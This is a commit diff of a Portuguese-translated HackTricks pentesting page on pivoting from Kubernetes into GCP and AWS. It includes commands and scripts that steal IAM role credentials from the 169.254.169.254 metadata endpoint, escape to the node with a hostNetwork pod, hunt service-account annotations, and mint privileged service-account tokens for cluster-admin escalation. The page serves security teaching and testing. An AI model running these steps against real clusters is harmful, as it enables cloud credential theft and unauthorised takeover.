mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv
This commit is contained in:
@@ -4,62 +4,62 @@
|
||||
|
||||
## GCP
|
||||
|
||||
Se você estiver executando um cluster k8s dentro do GCP, provavelmente desejará que algum aplicativo em execução dentro do cluster tenha acesso ao GCP. Existem 2 maneiras comuns de fazer isso:
|
||||
Se você está executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação rodando no cluster tenha acesso ao GCP. Há 2 maneiras comuns de fazer isso:
|
||||
|
||||
### Montando chaves GCP-SA como segredo
|
||||
### Mounting GCP-SA keys as secret
|
||||
|
||||
Uma maneira comum de dar **acesso a um aplicativo kubernetes ao GCP** é:
|
||||
Uma forma comum de dar acesso a uma aplicação kubernetes ao GCP é:
|
||||
|
||||
- Criar uma Conta de Serviço do GCP
|
||||
- Vincular as permissões desejadas
|
||||
- Baixar uma chave json da SA criada
|
||||
- Montá-la como um segredo dentro do pod
|
||||
- Definir a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.
|
||||
- Crie um GCP Service Account
|
||||
- Atribua a ele as permissões desejadas
|
||||
- Faça o download de uma chave json do SA criado
|
||||
- Monte-a como um secret dentro do pod
|
||||
- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, como um **atacante**, se você comprometer um contêiner dentro de um pod, deve verificar essa **variável** **env** e **arquivos** **json** com credenciais do GCP.
|
||||
> Portanto, como um **attacker**, se você comprometer um container dentro de um pod, você deve checar por essa **env** **variable** e **json** **files** com credenciais do GCP.
|
||||
|
||||
### Relacionando json GSA ao segredo KSA
|
||||
### Relating GSA json to KSA secret
|
||||
|
||||
Uma maneira de dar acesso a um GSA a um cluster GKE é vinculá-los desta forma:
|
||||
Uma forma de dar acesso de um GSA a um GKE cluster é vinculando-os desta forma:
|
||||
|
||||
- Criar uma conta de serviço Kubernetes no mesmo namespace que seu cluster GKE usando o seguinte comando:
|
||||
- Crie um Kubernetes service account no mesmo namespace que seu GKE cluster usando o comando a seguir:
|
||||
```bash
|
||||
Copy codekubectl create serviceaccount <service-account-name>
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- Crie um Kubernetes Secret que contenha as credenciais da conta de serviço GCP à qual você deseja conceder acesso ao cluster GKE. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, conforme mostrado no exemplo a seguir:
|
||||
- Crie um Kubernetes Secret que contenha as credenciais da GCP service account à qual você deseja conceder acesso ao GKE cluster. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, como mostrado no exemplo a seguir:
|
||||
```bash
|
||||
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Vincule o Kubernetes Secret à conta de serviço do Kubernetes usando o seguinte comando:
|
||||
- Vincule o Kubernetes Secret à Kubernetes service account usando o comando a seguir:
|
||||
```bash
|
||||
Copy codekubectl annotate serviceaccount <service-account-name> \
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> No **segundo passo**, as **credenciais do GSA foram definidas como segredo do KSA**. Então, se você puder **ler esse segredo** de **dentro** do **cluster GKE**, você pode **escalar para essa conta de serviço GCP**.
|
||||
> No **segundo passo** foram definidas as **credenciais do GSA como secret do KSA**. Então, se você conseguir **ler esse secret** de **dentro** do **GKE** cluster, você pode **escalar para essa GCP service account**.
|
||||
|
||||
### Identidade de Workload GKE
|
||||
### GKE Workload Identity
|
||||
|
||||
Com a Identidade de Workload, podemos configurar uma [conta de serviço Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para agir como uma [conta de serviço Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a conta de serviço Kubernetes serão automaticamente autenticados como a conta de serviço Google ao acessar APIs do Google Cloud.
|
||||
Com o Workload Identity, podemos configurar a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para atuar como a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs.
|
||||
|
||||
A **primeira série de passos** para habilitar esse comportamento é **habilitar a Identidade de Workload no GCP** ([**passos**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a SA GCP que você deseja que o k8s impersonifique.
|
||||
A **primeira série de passos** para habilitar esse comportamento é **habilitar o Workload Identity no GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s assuma.
|
||||
|
||||
- **Habilitar a Identidade de Workload** em um novo cluster
|
||||
- **Enable Workload Identity** on a new cluster
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **Criar/Atualizar um novo nodepool** (clusters Autopilot não precisam disso)
|
||||
- **Criar/Atualizar um novo nodepool** (Clusters Autopilot não precisam disso)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Crie a **Conta de Serviço GCP para se fazer passar** a partir do K8s com permissões GCP:
|
||||
- Crie a **GCP Service Account to impersonate** a partir do K8s com permissões GCP:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Conecte-se** ao **cluster** e **crie** a **conta de serviço** para usar
|
||||
- **Conecte-se** ao **cluster** e **crie** a **conta de serviço** a ser usada
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **Vincule o GSA com o KSA**
|
||||
- **Vincular o GSA ao KSA**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
Verifique o seguinte comando para autenticar, caso necessário:
|
||||
Verifique o comando a seguir para autenticar, caso necessário:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como um atacante dentro do K8s, você deve **procurar por SAs** com a **anotação `iam.gke.io/gcp-service-account`**, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.\
|
||||
> Do GCP, é sempre interessante enumerar as ligações e saber **qual acesso você está concedendo às SAs dentro do Kubernetes**.
|
||||
> Como um atacante dentro do K8s você deve **procurar por SAs** com a **`iam.gke.io/gcp-service-account` annotation** pois isso indica que o SA pode acessar algo no GCP. Outra opção é tentar abusar de cada KSA no cluster e verificar se ele tem acesso.\
|
||||
> No GCP é sempre interessante enumerar os bindings e saber **quais acessos você está concedendo às SAs dentro do Kubernetes**.
|
||||
|
||||
Este é um script para facilmente **iterar sobre todas as definições de pods** **procurando** por essa **anotação**:
|
||||
Este é um script para **iterar facilmente por todas as definições de pods** **procurando** por essa **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Uma maneira (ultrapassada) de dar IAM Roles para Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servidor.** Basicamente, você precisará executar um **daemonset** em seu cluster com um **tipo de IAM role privilegiado**. Este daemonset será o responsável por conceder acesso aos IAM roles para os pods que precisarem.
|
||||
Uma forma (desatualizada) de atribuir IAM Roles aos Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com uma **espécie de privileged IAM role**. Esse daemonset será o responsável por conceder acesso a IAM Roles aos pods que precisarem.
|
||||
|
||||
Primeiramente, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e você faz isso com uma anotação dentro do objeto namespace:
|
||||
Primeiro de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do namespace object:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
Uma vez que o namespace está configurado com os papéis IAM que os Pods podem ter, você pode **indicar o papel que deseja em cada definição de pod com algo como**:
|
||||
Depois que o namespace estiver configurado com as IAM roles que os Pods podem ter, você pode **indicar a role que deseja em cada pod definition com algo como**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como um atacante, se você **encontrar essas anotações** em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente no kube-system), você pode **impersonar qualquer r**ole que já está **sendo usada por pods** e mais (se você tiver acesso à conta AWS, enumere os roles).
|
||||
> Como atacante, se você **encontrar essas anotações** em pods ou namespaces ou em um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode **imitar todo o r**ole que já é **usado por pods** e mais (se você tiver acesso à conta AWS, enumere os roles).
|
||||
|
||||
#### Criar Pod com Role IAM
|
||||
#### Criar Pod com IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> O role IAM a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam e esse role deve ser capaz de acessá-lo.
|
||||
> O IAM role a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam, e esse role deve ser capaz de acessá-lo.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -192,14 +192,14 @@ image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### IAM Role para Contas de Serviço K8s via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
### IAM Role para Service Accounts do K8s via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Esta é a **maneira recomendada pela AWS**.
|
||||
Esta é a **forma recomendada pela AWS**.
|
||||
|
||||
1. Primeiro, você precisa [criar um provedor OIDC para o cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Em seguida, você cria um papel IAM com as permissões que a SA precisará.
|
||||
3. Crie uma [relação de confiança entre o papel IAM e a SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nome (ou os namespaces que dão acesso ao papel para todas as SAs do namespace). _A relação de confiança verificará principalmente o nome do provedor OIDC, o nome do namespace e o nome da SA_.
|
||||
4. Finalmente, **crie uma SA com uma anotação indicando o ARN do papel**, e os pods executando com essa SA terão **acesso ao token do papel**. O **token** é **escrito** dentro de um arquivo e o caminho é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (padrão: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. Antes de tudo você precisa [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Depois você cria um IAM role com as permissões que o SA irá requerer.
|
||||
3. Crie uma [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ou com os namespaces, dando acesso ao role para todos os SAs do namespace). _A trust relationship irá principalmente checar o nome do provedor OIDC, o nome do namespace e o nome do SA_.
|
||||
4. Finalmente, **crie um SA com uma annotation indicando o ARN do role**, e os pods rodando com esse SA terão **acesso ao token do role**. O **token** é **escrito** dentro de um arquivo e o caminho é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
Para **obter aws usando o token** de `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, execute:
|
||||
Para **obter aws usando o token** de `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` execute:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como um atacante, se você puder enumerar um cluster K8s, verifique as **contas de serviço com essa anotação** para **escalar para AWS**. Para fazer isso, basta **exec/create** um **pod** usando uma das **contas de serviço privilegiadas** do IAM e roubar o token.
|
||||
> Como atacante, se você puder enumerar um cluster K8s, verifique por **service accounts with that annotation** para **escalate to AWS**. Para isso, simplesmente **exec/create** um **pod** usando uma das IAM **privileged service accounts** e roube o token.
|
||||
>
|
||||
> Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Às vezes, a **Política de Confiança de um papel** pode estar **mal configurada** e, em vez de dar acesso AssumeRole à conta de serviço esperada, dá acesso a **todas as contas de serviço**. Portanto, se você for capaz de escrever uma anotação em uma conta de serviço controlada, poderá acessar o papel.
|
||||
> Às vezes a **Turst Policy of a role** pode estar **bad configured** e, em vez de dar AssumeRole access ao service account esperado, ela dá para **all the service accounts**. Portanto, se você for capaz de escrever uma annotation em um service account controlado, você pode acessar o role.
|
||||
>
|
||||
> Verifique a **página seguinte para mais informações**:
|
||||
> Confira a **following page for more information**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Encontrar Pods e SAs com Papéis IAM no Cluster
|
||||
### Encontrar Pods e SAs com IAM Roles no Cluster
|
||||
|
||||
Este é um script para facilmente **iterar sobre todos os pods e definições de sas** **procurando** por essa **anotação**:
|
||||
Este é um script para facilmente **iterar por todas as definições de pods e SAs** **procurando** por essa **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -253,19 +253,26 @@ echo ""
|
||||
done
|
||||
done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
A seção anterior tratou de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s será uma **instância dentro da nuvem**. Isso significa que o Node é altamente provável que **tenha um novo IAM role que você pode roubar** (_note que geralmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar em cada node_).
|
||||
A seção anterior tratou de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s será uma **instance inside the cloud**. Isso significa que o Node tem alta probabilidade de **ter um IAM role que você pode roubar** (_observe que normalmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar cada node_).
|
||||
|
||||
No entanto, há um requisito importante para acessar o endpoint de metadados a partir do node, você precisa estar no node (sessão ssh?) ou pelo menos ter a mesma rede:
|
||||
Para acessar o node metadata endpoint você precisa:
|
||||
- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a misconfiguração mais comum, pois geralmente diferentes pods no cluster precisarão de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster.
|
||||
- Estar em um pod com `hostNetwork` enabled.
|
||||
- Escapar para o node e acessar o metadata endpoint diretamente.
|
||||
|
||||
(Observe que o metadata endpoint está em 169.254.169.254 como sempre).
|
||||
|
||||
Para **escapar para o node** você pode usar o seguinte comando para rodar um pod com `hostNetwork` enabled:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Roubar Token de Função IAM
|
||||
### Steal IAM Role Token
|
||||
|
||||
Anteriormente, discutimos como **anexar Funções IAM a Pods** ou até mesmo como **escapar para o Nó para roubar a Função IAM** que a instância tem anexada a ela.
|
||||
Anteriormente discutimos como **attach IAM Roles to Pods** ou até como **escape to the Node to steal the IAM Role** que a instância tem anexada.
|
||||
|
||||
Você pode usar o seguinte script para **roubar** suas novas **credenciais de função IAM**:
|
||||
Você pode usar o seguinte script para **steal** suas recém-conquistadas **IAM role credentials**:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
|
||||
fi
|
||||
fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
Em resumo: se for possível **acessar o EKS Node IAM role** a partir de um pod, é possível **comprometer todo o kubernetes cluster**.
|
||||
|
||||
For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumo, a default IAM EKS role que é atribuída aos EKS nodes por padrão recebe a role `system:node` dentro do cluster. Essa role é muito interessante, embora seja limitada pelas kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
|
||||
No entanto, o node pode sempre **gerar tokens para service accounts** que estejam rodando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para se passar pelo service account, como em:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
|
||||
Reference in New Issue
Block a user